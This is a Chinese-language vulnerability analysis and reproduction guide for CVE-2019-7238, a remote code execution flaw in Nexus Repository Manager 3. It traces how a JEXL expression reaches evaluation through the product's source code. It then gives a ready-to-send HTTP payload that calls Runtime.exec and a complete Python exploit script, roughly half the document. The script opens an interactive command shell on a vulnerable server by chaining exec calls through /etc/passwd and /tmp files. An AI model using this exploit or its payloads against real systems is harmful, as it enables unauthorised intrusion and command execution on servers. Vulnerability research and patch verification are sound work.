(CVE-2019-7238)Nexus Repository Manager 远程代码执行

一、漏洞简介

二、漏洞影响

Nexus Repository Manager OSS/Pro 3.6.2 版本到 3.14.0 版本

三、复现过程

漏洞分析

定位到如下位置 plugins/nexus-coreui-plugin/src/main/java/org/sonatype/nexus/coreui/ComponentComponent.groovy:185

@Named
@Singleton
@DirectAction(action = 'coreui_Component')
class ComponentComponent
    extends DirectComponentSupport
{
    ...

    @DirectMethod
    @Timed
    @ExceptionMetered
    PagedResponse<AssetXO> previewAssets(final StoreLoadParameters parameters) {

        String repositoryName = parameters.getFilter('repositoryName')
        String expression = parameters.getFilter('expression')
        String type = parameters.getFilter('type')
        // 接收三个参数 repositoryName 、 expression 、 type

        if (!expression || !type || !repositoryName) {
        return null
        }

        // 设置 repositoryName
        RepositorySelector repositorySelector = RepositorySelector.fromSelector(repositoryName)

        // 根据 type 分别调用不同的 validate
        if (type == JexlSelector.TYPE) {
            jexlExpressionValidator.validate(expression)
        }
        else if (type == CselSelector.TYPE) {
            cselExpressionValidator.validate(expression)
        }

        List<Repository> selectedRepositories = getPreviewRepositories(repositorySelector)
        if (!selectedRepositories.size()) {
            return null
        }

        def result = browseService.previewAssets(
            repositorySelector,
            selectedRepositories,
            expression,
            toQueryOptions(parameters))
        return new PagedResponse<AssetXO>(
            result.total,
            result.results.collect(ASSET_CONVERTER.rcurry(null, null, [:], 0)) // buckets not needed for asset preview screen
        )
    } 
    ...
}

Nexus为了查询方便,特地在jexl的基础上引入了csel表达式。简单起见,这里不做展开。接着我们跟入browseService.previewAssets,接口定义在 components/nexus-repository/src/main/java/org/sonatype/nexus/repository/browse/BrowseService.java:59

/**
   * Returns a {@link BrowseResult} for previewing the specified repository based on an arbitrary content selector.
   */
  BrowseResult<Asset> previewAssets(final RepositorySelector selectedRepository,
                                    final List<Repository> repositories,
                                    final String jexlExpression,
                                    final QueryOptions queryOptions);

具体实现在 components/nexus-repository/src/main/java/org/sonatype/nexus/repository/browse/internal/BrowseServiceImpl.java:233

@Named
@Singleton
public class BrowseServiceImpl
    extends ComponentSupport
    implements BrowseService
{
  ...
  @Override
  public BrowseResult<Asset> previewAssets(final RepositorySelector repositorySelector,
                                          final List<Repository> repositories,
                                          final String jexlExpression,
                                          final QueryOptions queryOptions)
  {
    checkNotNull(repositories);
    checkNotNull(jexlExpression);
    final Repository repository = repositories.get(0);
    try (StorageTx storageTx = repository.facet(StorageFacet.class).txSupplier().get()) {
      storageTx.begin();
      List<Repository> previewRepositories;
      if (repositories.size() == 1 && groupType.equals(repository.getType())) {
        previewRepositories = repository.facet(GroupFacet.class).leafMembers();
      }
      else {
        previewRepositories = repositories;
      }

      PreviewAssetsSqlBuilder builder = new PreviewAssetsSqlBuilder(
          repositorySelector,
          jexlExpression,
          queryOptions,
          getRepoToContainedGroupMap(repositories));

      String whereClause = String.format("and (%s)", builder.buildWhereClause());

      //The whereClause is passed in as the querySuffix so that contentExpression will run after repository filtering
      return new BrowseResult<>(
          storageTx.countAssets(null, builder.buildSqlParams(), previewRepositories, whereClause),
          Lists.newArrayList(storageTx.findAssets(null, builder.buildSqlParams(),
              previewRepositories, whereClause + builder.buildQuerySuffix()))
      );
    }
  }
  ...
}

注意上面代码中的英文注释,大意为whereClause条件在完成repository filtering后将会进行contentExpression。而whereClause是通过前面一系列Builder构建的。可以跟入builder.buildWhereClause(),在 components/nexus-repository/src/main/java/org/sonatype/nexus/repository/browse/internal/PreviewAssetsSqlBuilder.java:51 , 这里最终引入了contentExpression和jexlExpression:

public class PreviewAssetsSqlBuilder
{
  ...
  public String buildWhereClause() {
    return whereClause("contentExpression(@this, :jexlExpression, :repositorySelector, " +
        ":repoToContainedGroupMap) == true", queryOptions.getFilter() != null);
  }
  ...
}

接下来即考虑如何进一步执行contentExpression。在 components/nexus-repository/src/main/java/org/sonatype/nexus/repository/selector/internal/ContentExpressionFunction.java 。当contentExpression执行时,会调用execute方法:

public class ContentExpressionFunction
    extends OSQLFunctionAbstract
{
  public static final String NAME = "contentExpression";
  ...
  @Inject
  public ContentExpressionFunction(final VariableResolverAdapterManager variableResolverAdapterManager,
                                   final SelectorManager selectorManager,
                                   final ContentAuthHelper contentAuthHelper)
  {
    super(NAME, 4, 4);
    this.variableResolverAdapterManager = checkNotNull(variableResolverAdapterManager);
    this.selectorManager = checkNotNull(selectorManager);
    this.contentAuthHelper = checkNotNull(contentAuthHelper);
  }

  @Override
  public Object execute(final Object iThis,
                        final OIdentifiable iCurrentRecord,
                        final Object iCurrentResult,
                        final Object[] iParams,
                        final OCommandContext iContext)
  {
    OIdentifiable identifiable = (OIdentifiable) iParams[0];
    // asset 
    ODocument asset = identifiable.getRecord();
    RepositorySelector repositorySelector = RepositorySelector.fromSelector((String) iParams[2]);
    // jexlExpression 即 iParams[1]
    String jexlExpression = (String) iParams[1];
    List<String> membersForAuth;

    ...

    return contentAuthHelper.checkAssetPermissions(asset, membersForAuth.toArray(new String[membersForAuth.size()])) &&
        checkJexlExpression(asset, jexlExpression, asset.field(AssetEntityAdapter.P_FORMAT, String.class));
  }

其中的iParams即可对应传入的参数。iParams[0]@this , iParams[1]jexlExpression, iParams[2]repositorySelector。在完成初步筛选出asset后进入最后的checkJexlExpression

...
  private boolean checkJexlExpression(final ODocument asset,
                                      final String jexlExpression,
                                      final String format)
  {
    VariableResolverAdapter variableResolverAdapter = variableResolverAdapterManager.get(format);
    // variableSource 从 asset 中来
    VariableSource variableSource = variableResolverAdapter.fromDocument(asset);

    SelectorConfiguration selectorConfiguration = new SelectorConfiguration();

    selectorConfiguration.setAttributes(ImmutableMap.of("expression", jexlExpression));
    // JexlSelector.TYPE 是常量 定义为 'jexl'
    selectorConfiguration.setType(JexlSelector.TYPE);
    selectorConfiguration.setName("preview");

    try {
      // 解析表达式
      return selectorManager.evaluate(selectorConfiguration, variableSource);
    }
    catch (SelectorEvaluationException e) {
      log.debug("Unable to evaluate expression {}.", jexlExpression, e);
      return false;
    }
  }

}

selectorConfiguration保存要生成的表达式config。jexlExpression即前面传入的参数。跟入selectorManager.evaluate,在 components/nexus-core/src/main/java/org/sonatype/nexus/internal/selector/SelectorManagerImpl.java:156 ,最终执行了表达式

@Override
  @Guarded(by = STARTED)
  public boolean evaluate(final SelectorConfiguration selectorConfiguration, final VariableSource variableSource)
      throws SelectorEvaluationException
  {
    // 根据传入的 selectorConfiguration 生成对应的 selector 
    // 前面指定了 JexlSelector.TYPE ,这里将生成 JexlSelector
    Selector selector = createSelector(selectorConfiguration);

    try {
      // 调用 selector 的 evaluate 方法
      return selector.evaluate(variableSource);
    }
    catch (Exception e) {
      throw new SelectorEvaluationException("Selector '" + selectorConfiguration.getName() + "' evaluation in error",
          e);
    }
  }

漏洞复现

参考官方文档:https://help.sonatype.com/repomanager3/configuration/repository-management#RepositoryManagement-CreatingaQuery

其对应接口位置如下图3.jpeg如果是新搭建的环境,为复现成功,还需要先往现有的Repository添加asset。这样在查询确实存在asset后,才会进一步根据whereClause对查询结果asset进行筛选,也才会对whereClause进行表达式解析。不过在实际环境中,Repository中早就各种asset了。下面随便选了一个logging.jar上传。4.jpeg

POST /service/extdirect HTTP/1.1
Host:www.0-sec.org:8081
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0
Content-Type: application/json
Content-Length: 308
Connection: close

{"action":"coreui_Component","method":"previewAssets","data":[{"page":1,"start":0,"limit":25,"filter":[{"property":"repositoryName","value":"*"},{"property":"expression","value":"''.class.forName('java.lang.Runtime').getRuntime().exec('calc.exe')"},{"property":"type","value":"jexl"}]}],"type":"rpc","tid":4}

1.png

poc

cve-2019-7238.py

2.png

from requests.packages.urllib3.exceptions import InsecureRequestWarning
import urllib3
import requests
import base64
import json
import sys

print("\nNexus Repository Manager 3 Remote Code Execution - CVE-2019-7238 \nFound by @Rico and @voidfyoo\n")

proxy = {
}

remote = 'http://127.0.0.1:8081'

ARCH="LINUX"
# ARCH="WIN"

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def checkSuccess(r):
    if r.status_code == 200:
        json_data = json.loads(r.text)
        if json_data['result']['total'] > 0:
            print("OK")
        else:
            print("KO")
            sys.exit()
    else:
        print("[-] Error status code", r.status_code)
        sys.exit()


print("[+] Checking if Content-Selectors exist =>", end=' ')
burp0_url = remote + "/service/extdirect"
burp0_headers = {"Content-Type": "application/json"}
burp0_json = {"action": "coreui_Component", "data": [{"filter": [{"property": "repositoryName", "value": "*"}, {"property": "expression", "value": "1==1"}, {
    "property": "type", "value": "jexl"}], "limit": 50, "page": 1, "sort": [{"direction": "ASC", "property": "name"}], "start": 0}], "method": "previewAssets", "tid": 18, "type": "rpc"}
r = requests.post(burp0_url, headers=burp0_headers, json=burp0_json,
              proxies=proxy, verify=False, allow_redirects=False)
checkSuccess(r)
print("")

while True:
    try:
        if ARCH == "LINUX":
            command = input("command (not reflected)> ")
            command = base64.b64encode(command.encode('utf-8'))
            command_str = command.decode('utf-8')
            command_str = command_str.replace('/', '+')

            print("[+] Copy file to temp directory =>", end=' ')

            burp0_url = remote + "/service/extdirect"
            burp0_headers = {"Content-Type": "application/json"}
            burp0_json = {"action": "coreui_Component", "data": [{"filter": [{"property": "repositoryName", "value": "*"}, {"property": "expression", "value": "1==0 or ''.class.forName('java.lang.Runtime').getRuntime().exec(\"cp /etc/passwd  /tmp/passwd\")"}, { "property": "type", "value": "jexl"}], "limit": 50, "page": 1, "sort": [{"direction": "ASC", "property": "name"}], "start": 0}], "method": "previewAssets", "tid": 18, "type": "rpc"}
            r = requests.post(burp0_url, headers=burp0_headers, json=burp0_json, proxies=proxy, verify=False, allow_redirects=False)
            checkSuccess(r)

            print("[+] Preparing temp file =>", end=' ')
            burp0_url = remote + "/service/extdirect"
            burp0_headers = {"Content-Type": "application/json"}
            burp0_json = {"action": "coreui_Component", "data": [{"filter": [{"property": "repositoryName", "value": "*"}, {"property": "expression", "value": "1==0 or ''.class.forName('java.lang.Runtime').getRuntime().exec(\"sed -i 1cpwn2  /tmp/passwd\")"}, {
                "property": "type", "value": "jexl"}], "limit": 50, "page": 1, "sort": [{"direction": "ASC", "property": "name"}], "start": 0}], "method": "previewAssets", "tid": 18, "type": "rpc"}
            r = requests.post(burp0_url, headers=burp0_headers, json=burp0_json, proxies=proxy,
                        verify=False, allow_redirects=False)
            checkSuccess(r)

            print("[+] Cleaning temp file =>", end=' ')
            burp0_url = remote + "/service/extdirect"
            burp0_headers = {"Content-Type": "application/json"}
            burp0_json = {"action": "coreui_Component", "data": [{"filter": [{"property": "repositoryName", "value": "*"}, {"property": "expression", "value": "1==0 or ''.class.forName('java.lang.Runtime').getRuntime().exec(\"sed -i /[^pwn2]/d /tmp/passwd\")"}, {
                "property": "type", "value": "jexl"}], "limit": 50, "page": 1, "sort": [{"direction": "ASC", "property": "name"}], "start": 0}], "method": "previewAssets", "tid": 18, "type": "rpc"}
            r = requests.post(burp0_url, headers=burp0_headers, json=burp0_json, proxies=proxy,
                            verify=False, allow_redirects=False)
            checkSuccess(r)

            print("[+] Writing command into temp file =>", end=' ')
            burp0_url = remote + "/service/extdirect"
            burp0_headers = {"Content-Type": "application/json"}
            burp0_json = {"action": "coreui_Component", "data": [{"filter": [{"property": "repositoryName", "value": "*"}, {"property": "expression", "value": "1==0 or ''.class.forName('java.lang.Runtime').getRuntime().exec(\"sed -i 1s/pwn2/{echo," + command_str + "}|{base64,-d}>pwn.txt/g /tmp/passwd\")"}, {
                "property": "type", "value": "jexl"}], "limit": 50, "page": 1, "sort": [{"direction": "ASC", "property": "name"}], "start": 0}], "method": "previewAssets", "tid": 18, "type": "rpc"}
            r = requests.post(burp0_url, headers=burp0_headers, json=burp0_json, proxies=proxy,
                            verify=False, allow_redirects=False)
            checkSuccess(r)

            print("[+] Decode base64 command =>", end=' ')
            burp0_url = remote + "/service/extdirect"
            burp0_headers = {"Content-Type": "application/json"}
            burp0_json = {"action": "coreui_Component", "data": [{"filter": [{"property": "repositoryName", "value": "*"}, {"property": "expression", "value": "1==0 or ''.class.forName('java.lang.Runtime').getRuntime().exec(\"bash /tmp/passwd\")"}, {
                "property": "type", "value": "jexl"}], "limit": 50, "page": 1, "sort": [{"direction": "ASC", "property": "name"}], "start": 0}], "method": "previewAssets", "tid": 18, "type": "rpc"}
            r = requests.post(burp0_url, headers=burp0_headers, json=burp0_json, proxies=proxy,
                            verify=False, allow_redirects=False)
            checkSuccess(r)

            print("[+] Executing command =>", end=' ')
            burp0_url = remote + "/service/extdirect"
            burp0_headers = {"Content-Type": "application/json"}
            burp0_json = {"action": "coreui_Component", "data": [{"filter": [{"property": "repositoryName", "value": "*"}, {"property": "expression", "value": "1==0 or ''.class.forName('java.lang.Runtime').getRuntime().exec(\"bash pwn.txt\")"}, {
                "property": "type", "value": "jexl"}], "limit": 50, "page": 1, "sort": [{"direction": "ASC", "property": "name"}], "start": 0}], "method": "previewAssets", "tid": 18, "type": "rpc"}
            r = requests.post(burp0_url, headers=burp0_headers, json=burp0_json, proxies=proxy,
                            verify=False, allow_redirects=False)
            checkSuccess(r)
            print('')

        else:
            command = input("command (not reflected)> ")
            print("[+] Executing command =>", end=' ')
            burp0_url = remote + "/service/extdirect"
            burp0_headers = {"Content-Type": "application/json"}
            burp0_json = {"action": "coreui_Component", "data": [{"filter": [{"property": "repositoryName", "value": "*"}, {"property": "expression", "value": "1==0 or ''.class.forName('java.lang.Runtime').getRuntime().exec(\"" + command + "\")"}, {
                "property": "type", "value": "jexl"}], "limit": 50, "page": 1, "sort": [{"direction": "ASC", "property": "name"}], "start": 0}], "method": "previewAssets", "tid": 18, "type": "rpc"}
            r = requests.post(burp0_url, headers=burp0_headers, json=burp0_json, proxies=proxy,
                              verify=False, allow_redirects=False)
            checkSuccess(r)
            print('')

    except KeyboardInterrupt:
        print("Exiting...")
        break

参考链接

https://xz.aliyun.com/t/4136

https://www.jianshu.com/p/34e450debe0f

https://github.com/mpgn/CVE-2019-7238